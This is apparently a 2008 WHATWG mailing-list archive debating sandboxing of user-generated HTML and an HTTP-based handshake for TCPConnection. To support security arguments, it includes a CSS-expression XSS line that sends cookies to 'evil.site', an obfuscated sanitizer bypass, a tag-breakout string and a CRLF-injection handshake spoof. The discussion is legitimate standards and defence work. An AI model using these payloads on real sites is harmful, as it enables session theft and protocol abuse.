In a separate mail, you wrote:
> <data>
> 
> &lt;user supplied input&gt;
> 
> </data>
> 
> Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
> browsers will display html, while HTML 5 browsers will display
> correctly formatted code. A simple javascript like this (untested)
> would make the data tags readable for HTML 4 browsers:
> 
> var els = document.getElementsByTagName("DATA");
> for(e in els) els[e].innerHTML =
> els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
> "<br>");

At first, I had no idea what that script was trying to do.  But AFAICT, 
you were trying to use this regex: /<[^>]*>/g, which would theoretically 
match "<foo>".  But, in this context, even with the corrected regex, the 
script is entirely useless.

It wouldn't work, for example, with <foo bar=">" baz="xxx">.  But also 
because the inner HTML that you're running the regex on is supposed to 
have all < and > escaped, and so nothing would be matched anyway.

> A problem with this approach is that developers might forget to escape
> tags, therefore I think browsers should display a security warning
> message if the character < or > is encountered inside a <data> tag.

If a developer forgot to escape the markup at all, then a user could 
enter "</data><script>...</script>" and do anything they wanted.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From giecrilj at stegny.2a.pl  Tue Jun 17 14:36:23 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 17 Jun 2008 23:36:23 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com><31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com><C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
	<31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>
Message-ID: <071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>

This particular explanation is irrelevant to the topic because sandboxed
fragments can contain scripts, whether within CSS or not.  The idea of
sandboxing is to disable scripts, not to purge them.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Tuesday, June 17, 2008 8:34 PM
To: Kristof Zelechovski
Cc: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

> 1.  Please elaborate how an extension of CSS would require a sanitizer
> update.

In the year 1998: A sanitizer algorithm works perfectly for all
existing methods of adding scripts. It uses a white list, which allows
only certain tags and attributes. Among the allowed attributes is
colspan, rowspan and style - since the web developer wants users to be
able to build tables and style them properly.

In the year 1999 Internet Explorer 5.0 is introduced, and it
introduces a new invention; CSS-expressions. Suddenly the formerly
secure webapplication is no longer secure. A user adds the following
code, and it passes the sanitizer easily:

<span style='color: blue; width: expression(document.write("<img
src=http://evil.site/"+document.cookie));'></span>

I am absolutely certain that there will be other, brilliant inventions
in the future which will break sanitizers - ofcourse we can't know
which inventions today - but the sandboxing means that browser vendors
in the future can prevent the above scenario.





From frode at seria.no  Tue Jun 17 15:12:03 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 00:12:03 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <48581A74.4030707@lachy.id.au>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
	<48581A74.4030707@lachy.id.au>
Message-ID: <31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>

>> I have been reading up on past discussions on sandboxing content, and
>> I feel that it is generally agreed on that there should be some
>> mechanism for marking content as "user generated". The discussion
>> mainly appears to be focused on implementation. Please read my
>> implementation notes at the end of this message on how we can include
>> this function safely for both HTML 4 and HTML 5 browsers, and still
>> allow HTML 4 browsers to function properly.
>>
>> My main arguments for having this feature (in one form or another) in
>> the browser is:
>>
>> - It is future proof. Changes to browsers (for example adding
>> expression support to css) will never again require old sanitizers to
>> be updated.
>
> If the sanitiser uses a whitelist based approach that forbids everything by
> default, and then only allows known elements and attributes; and in the case
> of the style attribute, known properties and values that are safe, then that
> would also be the case.

I have written a sanitizer for html and it is very difficult -
especially since browsers have undocumented bugs in their parsing.

Example: <div colspan=&amp;
style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
colspan=&amp;>Red</div>

The proof that sanitazing HTML is difficult is the fact that no major
site even attempts it. Even wikipedia use some obscure wiki-language,
instead of implementing a wysiwyg editor.

> Note that sandboxing doesn't entirely remove the need for sanitising user
> generated content on the server, it's just an extra line of defence in case
> something slips through.

Ofcourse. However, the sandbox feature in browser will be fail safe if
user generated content is escaped with &lt; and &gt; before being sent
to the browser - as long as the browser does not have bugs of course.

>> The suggested solution of using an attribute on an <iframe> element
>> for storing the user generated content has several problems;
>> 1: The use of src= as a fallback means that style information will be
>> lost and stylesheets must be loaded again.
> This is not a major problem.  If it uses the same stylesheet, which can be
> cached by the browser, then at worst it results in a 304 Not Modified
> response.

Many small rivers...

>> 2: The use of src= yields problems with iframe heights (since the
>> src-url must be hosted on another server javascript cannot fix this)
>> and HTML 4 browsers have no other method of adjusting the iframe
>> height according to the content.
> In recent browsers that support cross-document messaging (Opera 9, Safari 3,
> Firefox 3 and IE 8), you could include a script within the comment page that
> calculates its own height and sends a message to the parent page with the
> info.  In older browsers, just set the height to a reasonable minimum and
> let the user scroll.  Sure, it's not perfect, but it's called graceul
> degradation.

Much more difficult to implement than a <sandbox></sandbox> mechanism
- and I do not see the point giving more work to web developers when
it could be fixed so easily.

>> 3: If you have a page that lists 60 comments on a blog, then the user
>> agent would have to contact the server 60 times to fetch each comment.
>> This again means that perl/php scripts have to be invoked 60 times for
>> one page view - that is 61 separate database connections and session
>> initializations.
> You could always concatenate all of the comments into a single file,
> reducing it down to 1 request.

No you could not, if you for example want people to report comments or
give them votes - which in the Web 2.0 world requires scripting.

>> 4: For the fallback method of using src= for HTML 4 browsers to
>> actually work, the fallback documents must be hosted on a separate
>> domain name. This again means that a website using HTTPS must purchase
>> and maintain two certificates.
> I don't see that as a show stopper.

Well, I am not going to argue anymore. I have not heard anybody talk
in favour of a sandbox mechanism here or contributing something
constructive. Only feedback has been that you could do it with
iframes, and if it looks ugly with HTML 4 browsers, then that is only
graceful degradation, so it is okay. Maybe the future is Flash and
Silverlight afterall. We'll see.

>> If HTML 5 browsers require everything between <htmlarea></htmlarea> to
>> be html entity escaped, that is < and > must be replaced with &lt; and
>> &gt; respectively. If this is not done, HTML 5 browsers will issue a
>> severe warning and refuse to display the page. Developers will quickly
>> learn.
>
> Draconian error handling is something we really want to avoid, particularly
> when the such an error can be triggered by failing to handle user generated
> content properly.

I see that argument. Maybe you have a suggestion to what should happen
if unescaped HTML is encountered then?

>> HTML 4 browsers will never run scripts (since it will only see plain
>> text). HTML 5 browsers will display rich text. It would be completely
>> secure for both HTML 4 and HTML 5 browsers.
>>
>> A simple Javascript could clean up the HTML markup for HTML 4 browsers..
>
> In a separate mail, you wrote:
>> <data>
>> &lt;user supplied input&gt;
>> </data>
>>
>> Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
>> browsers will display html, while HTML 5 browsers will display
>> correctly formatted code. A simple javascript like this (untested)
>> would make the data tags readable for HTML 4 browsers:
>>
>> var els = document.getElementsByTagName("DATA");
>> for(e in els) els[e].innerHTML =
>> els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
>> "<br>");
>
> At first, I had no idea what that script was trying to do.  But AFAICT, you
> were trying to use this regex: /<[^>]*>/g, which would theoretically match
> "<foo>".  But, in this context, even with the corrected regex, the script is
> entirely useless.

Yes, but you are taking attention away from the point. No matter how
many bugs there are in my *untested* script, my method will be
completely safe in all browsers. Please comment on that instead.
Creating a working script would take me an hour max.

> It wouldn't work, for example, with <foo bar=">" baz="xxx">.  But also
> because the inner HTML that you're running the regex on is supposed to have
> all < and > escaped, and so nothing would be matched anyway.

This only means that if people insert invalid HTML then their message
will look ugly - it is not a security issue. If people insert actual
real life HTML then the script would generate nice looking plain text
without html markup (as long as the script is modified to use &lt; and
&gt; instead of < and > in the regexp).

>> A problem with this approach is that developers might forget to escape
>> tags, therefore I think browsers should display a security warning
>> message if the character < or > is encountered inside a <data> tag.
> If a developer forgot to escape the markup at all, then a user could enter
> "</data><script>...</script>" and do anything they wanted.

Yes, that is my point. That is why I want the sandbox to display a
severe security warning if the developer has forgotten to escape it.

This method will be safe for all browsers that has ever existed and
that will ever exist in the future. If new features are introduced in
some future version of CSS or HTML - the sandbox is still there and
the applications created today does not need to have their sanitizers
updated, ever.


From frode at seria.no  Tue Jun 17 15:58:30 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 00:58:30 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
	<C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
	<31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>
	<071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>
Message-ID: <31fb000f0806171558g3d1ce877sce91c0ab23b973e8@mail.gmail.com>

2008/6/17 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> This particular explanation is irrelevant to the topic because sandboxed
> fragments can contain scripts, whether within CSS or not.  The idea of
> sandboxing is to disable scripts, not to purge them.

You asked me to comment on your questions. It's obvious (when you read
the discussion) that the point of sandboxing is to disable scripts.
But to establish that we need sandbox, I wanted to show how difficult
it is to sanitize html - and also that it can't be done in a future
proof manner from the server side.

Fact:
Preventing users from inserting scripts, and at the same time allowing
user submitted html is extremely difficult to do on the server side -
ergo we must have sandboxing.

Method with iframe and content attribute:
1. Makes it very impractical to use sandboxing on short texts - such
as an article title.
2. Impossible to have user generated content inside a <select>.
3. Makes it impossible to attach custom javascript functionality on
words inside the text on the server side.
4. Graceful degradation requires two separate domain names. One for
user generated content, and another for the website itself.
5. Graceful degradation requires significant programming effort on the
server side. First of all, the user must be authenticated on both
domain names - and each page that should display user generated
content must have separate scripts to create the iframe content.

Method with <sandbox> tag, or sandbox='on' attribute:
1. Easy to use sandboxing on short texts. PHP example: <?php echo
"<sandbox>".htmlspecialchars($title)."</sandbox>"; ?>
2. Easy to sandbox a select box.
3. Easy to attach custom javascript functionality: PHP example: <?php
echo "<sandbox>".htmlspecialchars("User ")."</sandbox><span
onclick='something'>generated</span><sandbox>".htmlspecialchars("content");
?>
4. Graceful degradation is automatic. User inserted scripts and is
entity escaped, and will never execute in any browser.
5. See point 4.

Frode


From giecrilj at stegny.2a.pl  Tue Jun 17 17:13:40 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 18 Jun 2008 02:13:40 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com><31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com><48581A74.4030707@lachy.id.au>
	<31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
Message-ID: <C99A4E6CE1A5450EBE5A8EF2DA1DBF73@POCZTOWIEC>

The problem with tag warning is, if </data> is the first token inserted,
there will be no warning because the resulting code will be valid.  So the
key question remains: how do you tell unescaped </data> from the closing
</data>?  And the warning, if applicable, will go to the wrong person: to
all readers instead of just one writer.
What is invalid about <img alt=">" src="next.png">?
It is not enough to scratch some JavaScript that will look all right and
correctly sift out plain text for some test cases; you would have to prove
that it does the right thing in all cases.
Contrary to what you say, MediaWiki sanitizes HTML.  You can contribute to
Wikipedia without using their templates; the templates are there just to
make contributing easier.
It should be possible to keep all contributed content in one file with units
identified as document fragments.  You still have one request per one unit
but all of them request the same data file.

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Wednesday, June 18, 2008 12:12 AM
To: Lachlan Hunt
Cc: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

>> I have been reading up on past discussions on sandboxing content, and
>> I feel that it is generally agreed on that there should be some
>> mechanism for marking content as "user generated". The discussion
>> mainly appears to be focused on implementation. Please read my
>> implementation notes at the end of this message on how we can include
>> this function safely for both HTML 4 and HTML 5 browsers, and still
>> allow HTML 4 browsers to function properly.
>>
>> My main arguments for having this feature (in one form or another) in
>> the browser is:
>>
>> - It is future proof. Changes to browsers (for example adding
>> expression support to css) will never again require old sanitizers to
>> be updated.
>
> If the sanitiser uses a whitelist based approach that forbids everything
by
> default, and then only allows known elements and attributes; and in the
case
> of the style attribute, known properties and values that are safe, then
that
> would also be the case.

I have written a sanitizer for html and it is very difficult -
especially since browsers have undocumented bugs in their parsing.

Example: <div colspan=&amp;
style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
colspan=&amp;>Red</div>

The proof that sanitazing HTML is difficult is the fact that no major
site even attempts it. Even wikipedia use some obscure wiki-language,
instead of implementing a wysiwyg editor.

[snip]

>> 2: The use of src= yields problems with iframe heights (since the
>> src-url must be hosted on another server javascript cannot fix this)
>> and HTML 4 browsers have no other method of adjusting the iframe
>> height according to the content.
> In recent browsers that support cross-document messaging (Opera 9, Safari
3,
> Firefox 3 and IE 8), you could include a script within the comment page
that
> calculates its own height and sends a message to the parent page with the
> info.  In older browsers, just set the height to a reasonable minimum and
> let the user scroll.  Sure, it's not perfect, but it's called graceul
> degradation.

Much more difficult to implement than a <sandbox></sandbox> mechanism
- and I do not see the point giving more work to web developers when
it could be fixed so easily.

>> 3: If you have a page that lists 60 comments on a blog, then the user
>> agent would have to contact the server 60 times to fetch each comment.
>> This again means that perl/php scripts have to be invoked 60 times for
>> one page view - that is 61 separate database connections and session
>> initializations.
> You could always concatenate all of the comments into a single file,
> reducing it down to 1 request.

No you could not, if you for example want people to report comments or
give them votes - which in the Web 2.0 world requires scripting.

[snip]

>> If HTML 5 browsers require everything between <htmlarea></htmlarea> to
>> be html entity escaped, that is < and > must be replaced with &lt; and
>> &gt; respectively. If this is not done, HTML 5 browsers will issue a
>> severe warning and refuse to display the page. Developers will quickly
>> learn.
>
> Draconian error handling is something we really want to avoid,
particularly
> when the such an error can be triggered by failing to handle user
generated
> content properly.

I see that argument. Maybe you have a suggestion to what should happen
if unescaped HTML is encountered then?

>> HTML 4 browsers will never run scripts (since it will only see plain
>> text). HTML 5 browsers will display rich text. It would be completely
>> secure for both HTML 4 and HTML 5 browsers.
>>
>> A simple Javascript could clean up the HTML markup for HTML 4 browsers..
>
> In a separate mail, you wrote:
>> <data>
>> &lt;user supplied input&gt;
>> </data>
>>
>> Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
>> browsers will display html, while HTML 5 browsers will display
>> correctly formatted code. A simple javascript like this (untested)
>> would make the data tags readable for HTML 4 browsers:
>>
>> var els = document.getElementsByTagName("DATA");
>> for(e in els) els[e].innerHTML =
>> els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
>> "<br>");
>
> At first, I had no idea what that script was trying to do.  But AFAICT,
you
> were trying to use this regex: /<[^>]*>/g, which would theoretically match
> "<foo>".  But, in this context, even with the corrected regex, the script
is
> entirely useless.

Yes, but you are taking attention away from the point. No matter how
many bugs there are in my *untested* script, my method will be
completely safe in all browsers. Please comment on that instead.
Creating a working script would take me an hour max.

> It wouldn't work, for example, with <foo bar=">" baz="xxx">.  But also
> because the inner HTML that you're running the regex on is supposed to
have
> all < and > escaped, and so nothing would be matched anyway.

This only means that if people insert invalid HTML then their message
will look ugly - it is not a security issue. If people insert actual
real life HTML then the script would generate nice looking plain text
without html markup (as long as the script is modified to use &lt; and
&gt; instead of < and > in the regexp).

>> A problem with this approach is that developers might forget to escape
>> tags, therefore I think browsers should display a security warning
>> message if the character < or > is encountered inside a <data> tag.
> If a developer forgot to escape the markup at all, then a user could enter
> "</data><script>...</script>" and do anything they wanted.

Yes, that is my point. That is why I want the sandbox to display a
severe security warning if the developer has forgotten to escape it.

This method will be safe for all browsers that has ever existed and
that will ever exist in the future. If new features are introduced in
some future version of CSS or HTML - the sandbox is still there and
the applications created today does not need to have their sanitizers
updated, ever.



From giecrilj at stegny.2a.pl  Tue Jun 17 17:25:24 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Wed, 18 Jun 2008 02:25:24 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171558g3d1ce877sce91c0ab23b973e8@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com><31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com><C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC><31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com><071EF4CA96AB4E578F49592DA30312DB@POCZTOWIEC>
	<31fb000f0806171558g3d1ce877sce91c0ab23b973e8@mail.gmail.com>
Message-ID: <5878E066906442129D6DB70B7A7D4048@POCZTOWIEC>

What is the use case for having user-submitted content inside a SELECT
element?  A SELECT element is for the user to choose, not to insert
arbitrary new values (especially because the correspondence between values
and labels is known only to the server).
The argument about scripts attached to words is interesting; what is the use
case?  How do you make these attachments remain active in the user agent?
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Wednesday, June 18, 2008 12:59 AM
To: Kristof Zelechovski
Cc: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

2008/6/17 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> This particular explanation is irrelevant to the topic because sandboxed
> fragments can contain scripts, whether within CSS or not.  The idea of
> sandboxing is to disable scripts, not to purge them.

You asked me to comment on your questions. It's obvious (when you read
the discussion) that the point of sandboxing is to disable scripts.
But to establish that we need sandbox, I wanted to show how difficult
it is to sanitize html - and also that it can't be done in a future
proof manner from the server side.

Fact:
Preventing users from inserting scripts, and at the same time allowing
user submitted html is extremely difficult to do on the server side -
ergo we must have sandboxing.

Method with iframe and content attribute:
1. Makes it very impractical to use sandboxing on short texts - such
as an article title.
2. Impossible to have user generated content inside a <select>.
3. Makes it impossible to attach custom javascript functionality on
words inside the text on the server side.
4. Graceful degradation requires two separate domain names. One for
user generated content, and another for the website itself.
5. Graceful degradation requires significant programming effort on the
server side. First of all, the user must be authenticated on both
domain names - and each page that should display user generated
content must have separate scripts to create the iframe content.

Method with <sandbox> tag, or sandbox='on' attribute:
1. Easy to use sandboxing on short texts. PHP example: <?php echo
"<sandbox>".htmlspecialchars($title)."</sandbox>"; ?>
2. Easy to sandbox a select box.
3. Easy to attach custom javascript functionality: PHP example: <?php
echo "<sandbox>".htmlspecialchars("User ")."</sandbox><span
onclick='something'>generated</span><sandbox>".htmlspecialchars("content");
?>
4. Graceful degradation is automatic. User inserted scripts and is
entity escaped, and will never execute in any browser.
5. See point 4.

Frode



From michael.carter at kaazing.com  Tue Jun 17 18:30:50 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Tue, 17 Jun 2008 18:30:50 -0700
Subject: [whatwg] TCPConnection feedback
Message-ID: <24f9a1ba0806171830x183f59aao4d29f3eceedcc6f8@mail.gmail.com>

Hello,

We've had a number of discussions in the #whatwg channel thus far about the
TCPConnection specification in section 6, and the consesus is that there is
utility in an asynchronous, bi-directional communication mechanism, but the
current proposal has a number of issues that need to be resolved.

There are a list of requirements for the protocol:

<Hixie> basically my main requirements are that:
HIXIE.1) there be the ability for one process to have a full-duplex
communication channel to the script running in the web page
HIXIE.2) the server-side be implementable in a fully conformant way in just
a few lines of perl without support libraries
HIXIE.3) that it be safe from abuse (e.g. can't connect to smtp servers)
HIXIE.4) that it work from within fascist firewalls


There are some issues with the specification as it stands:
-----------
<othermaciej> my two problems with it are: (1) it uses port/host addressing
instead of URI addressing, which is a poor fit for the Web model
<othermaciej> (2) it's bad to send non-http over the assigned ports for http
and https
<othermaciej> (3) I am worried that connection to arbitrary ports could lead
to security issues, although Hixie tried hard to avoid them
----------

The complete list from multiple discussions, I believe, is:
ISSUE.1) lack of URI addressing
ISSUE.2) sending non-http(s) over http(s) ports
ISSUE.3) inability to traverse forward proxies
ISSUE.4) lack of cross-domain access control
ISSUE.5) DNS rebinding security holes
ISSUE.6) lack of load balancing integration
ISSUE.7) lack of authentication integration
ISSUE.8) virtual hosting with secure communication (no Host header, and even
if there was, there's no way to indicate this header *before* the secure
handshake)

I propose that we
PROPOSAL.1) change the initial handshake of the protocol to be HTTP based to
leverage existing solutions to these problems.
PROPOSAL.2) modify the API to use URIs instead of port/host pairs

I believe that the HTTP/1.1 OPTIONS method, Upgrade header, and "101
Switching Protocols" response is the best avenue to take because these parts
of HTTP were specifically designed to: (1) See if the server can speak the
new protocol (2) switch the protocol mid-stream.

How the changes solve the problems
=================================
ISSUE.1) We added URI addressing
ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
ISSUE.3) We can send a CONNECT to the proxy, thus eliminating this problem.
ISSUE.4) We can use the Access-Control header to solve this problem.
ISSUE.5) The Host header solves this problem
ISSUE.6) Many load balancers use cookies or urls. Using HTTP allows both
cookies and urls, so we can integrate with existing HTTP load balancers.
ISSUE.7) Cookies allow standard authentication mechansisms to be applied to
the TCPConnection
ISSUE.8) We can follow RFC 2817 for TLS upgrading mid stream,


Examples
========

Normal Handshake
----------------
In javascript on a page served from the domain "example.com", the following
call is issued:

tcp  = new TCPConnection("http://example.com/some/url")

C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n

C, S:

[ Bi-directional communication ]


Secure Handshake
----------------
In javascript on a page served from the domain "example.com", the following
call is issued:

tcp  = new TCPConnection("https://example.com/some/url")

C, S (port 443):
[ SSL handshake ]
C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n
C, S:
[ Bi-directional communication ]


Cross-domain Access Controlled Handshake
----------------------------------------
In javascript on a page served from the domain "example.com", the following
call is issued:

tcp  = new TCPConnection("http://www.example.com/some/url")

C:
OPTIONS /some/url HTTP/1.1\r\n
Host: www.example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
Access-Control: allow <example.com>\r\n
\r\n

C, S:
[ Bi-directional communication ]


Handshake Through a Forward Proxy (with Proxy Authentication)
-------------------------------------------------------------
In javascript from a page served in the domain "example.com", and the
browser is behind a forward proxy, the following call is issued:

tcp  = new TCPConnection("http://example.com/some/url")

C:
CONNECT example.com:80 HTTP/1.1\r\n
Proxy-authorization: basic aGVsbG86d29ybGQ=\r\n
\r\n
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n
C, S:
[ Bi-directional communication ]


TLS Upgrade
-----------

A potential server-side requirement of TCPConnection is virtual hosting
TCPConnection servers by domain while allowing secure communication. RFC
2817 specifies how to do TLS upgrades over HTTP so as to allow the initial
Host header to be read by the server before the secure channel is created.
We can use the same strategy with the TCPConnection protocol:

C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TLS/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TLS/1.0, HTTP/1.1\r\n
\r\n
C:
OPTIONS /some/url HTTP/1.1\r\n
Host: example.com\r\n
Upgrade: TCPConnection/1.0\r\n
Connection: Upgrade\r\n
\r\n
S:
HTTP/1.1 101 Switching Protocols\r\n
Connection: Upgrade\r\n
Upgrade: TCPConnection/1.0\r\n
\r\n
C, S:
[ Secure Handshake ]
C, S:
[ Bi-directional communication ]


Conclusion
==========
This proposal fits within the original requirements.

HIXIE.1) We've provided full-duplex communication in the browser
HIXIE.2) Its a single line of perl code to parse the http headers, and
another to make sure the proper headers exist
HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is going
to send back the appropriate handshake response.
HIXIE.4) TCPConnection will be able to navigate forward proxies and
firewalls due to our use of CONNECT.



-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/86fc47d1/attachment-0001.htm>

From shannon at arc.net.au  Tue Jun 17 21:10:39 2008
From: shannon at arc.net.au (Shannon)
Date: Wed, 18 Jun 2008 14:10:39 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
Message-ID: <48588ABF.1010006@arc.net.au>


>
> ISSUE.2) We now only send valid HTTP(s) over HTTP(s) ports.
>   

I understand the reasoning but I do not believe this should be limited 
to ports 80 and 443. By doing so we render the protocol difficult to use 
as many (if not most) custom services would need to run on another port 
to avoid conflict with the primary webserver. I understand the logic for 
large public sites where "fascist firewalls" might prohibit other ports 
but for custom services (ie, remote-control, telnet emulation or 
accounting access) used within a company network this would be a real 
pain (requiring setup of reverse proxy or dedicated server). This would 
make a mockery of the whole premise of implementing services using "a 
few lines of perl".

Limiting to ports 80 and 443 doesn't really solve the security issues 
anyway. Many firewall/routers can be configured on this port and 
denial-of-service is just as effective (or more) against port 80 as any 
other port. The new proposal to use HTTP headers effectively allows 
arbitrary (in length and content) strings to be sent to any port 80 
device without informing the user. This would allow a popular page (say 
a facebook profile or banner ad) to perform massive DOS against web 
servers using visitors browsers without any noticeable feedback (though 
I guess this is also true of current HTTPXMLRequestObjects).

I propose that there be requirements that limit the amount and type of 
data a client can send before receiving a valid server response. The 
requirements should limit:
* Length of initial client handshake
* Encoding of characters to those valid in URIs (ie, no arbitrary binary 
data)
* Number or retries per URI
* Number of simultaneous connections
* Total number of connection attempts per script domain  (to all URIs)

There should also be a recommendation that UAs display some form of 
status feedback to indicate a background connection is occurring.

> HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is going
> to send back the appropriate handshake response.
>   

It is always possible that non-http services are running on port 80. One 
logical reason would be as a workaround for strict firewalls. So the 
main defense against abuse is not the port number but the handshake. The 
original TCP Connection spec required the client to send only "Hello\n" 
and the server to send only "Welcome\n". The new proposal complicates 
things since the server/proxy could send any valid HTTP headers and it 
would be up to the UA to determine their validity. Since the script 
author can also inject URIs into the handshake this becomes a potential 
flaw. Consider the code:

tcp = TCPConnection('http://mail.domain.ext/\\r\\nHELO HTTP/1.1 101 
Switching Protocols\\r\\n' )

client>>
OPTIONS \r\n
HELO HTTP/1.1 101 Switching Protocols\r\n
HTTP/1.1\r\n

server>>
250 mail.domain.ext Hello \r\n
HTTP/1.1 101 Switching Protocols\r\n
 [111.111.111.111], pleased to meet you

As far as a naive UA and mail server is concerned we have now issued a 
valid challenge and received a valid response (albeit with some 
unrecognised/malformed headers). The parsing rules will need to be very 
strict to prevent this kind of attack. Limiting to port 80 reduces the 
number of target servers but does not prevent the attack (or others like 
it).

It may be that simply stripping newlines and non-ascii from URIs is all 
that's required since most text-based protocols are line oriented 
anyway. It depends largely on how OPTIONS and CONNECT are interpreted.

One last thing. Does anybody know how async communication would affect 
common proxies (forward and reverse)? I imagine they can handle large 
amounts of POST data but how do they feel about a forcibly held-open 
by-directional communication that never calls POST or GET? How would 
caches respond without expires or max-age headers? Would this hog 
threads causing apache/squid to stop serving requests? Would this work 
through Tor?

Shannon


From ian at hixie.ch  Tue Jun 17 21:35:32 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 04:35:32 +0000 (UTC)
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <48588ABF.1010006@arc.net.au>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
Message-ID: <Pine.LNX.4.62.0806180430460.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Shannon wrote:
> 
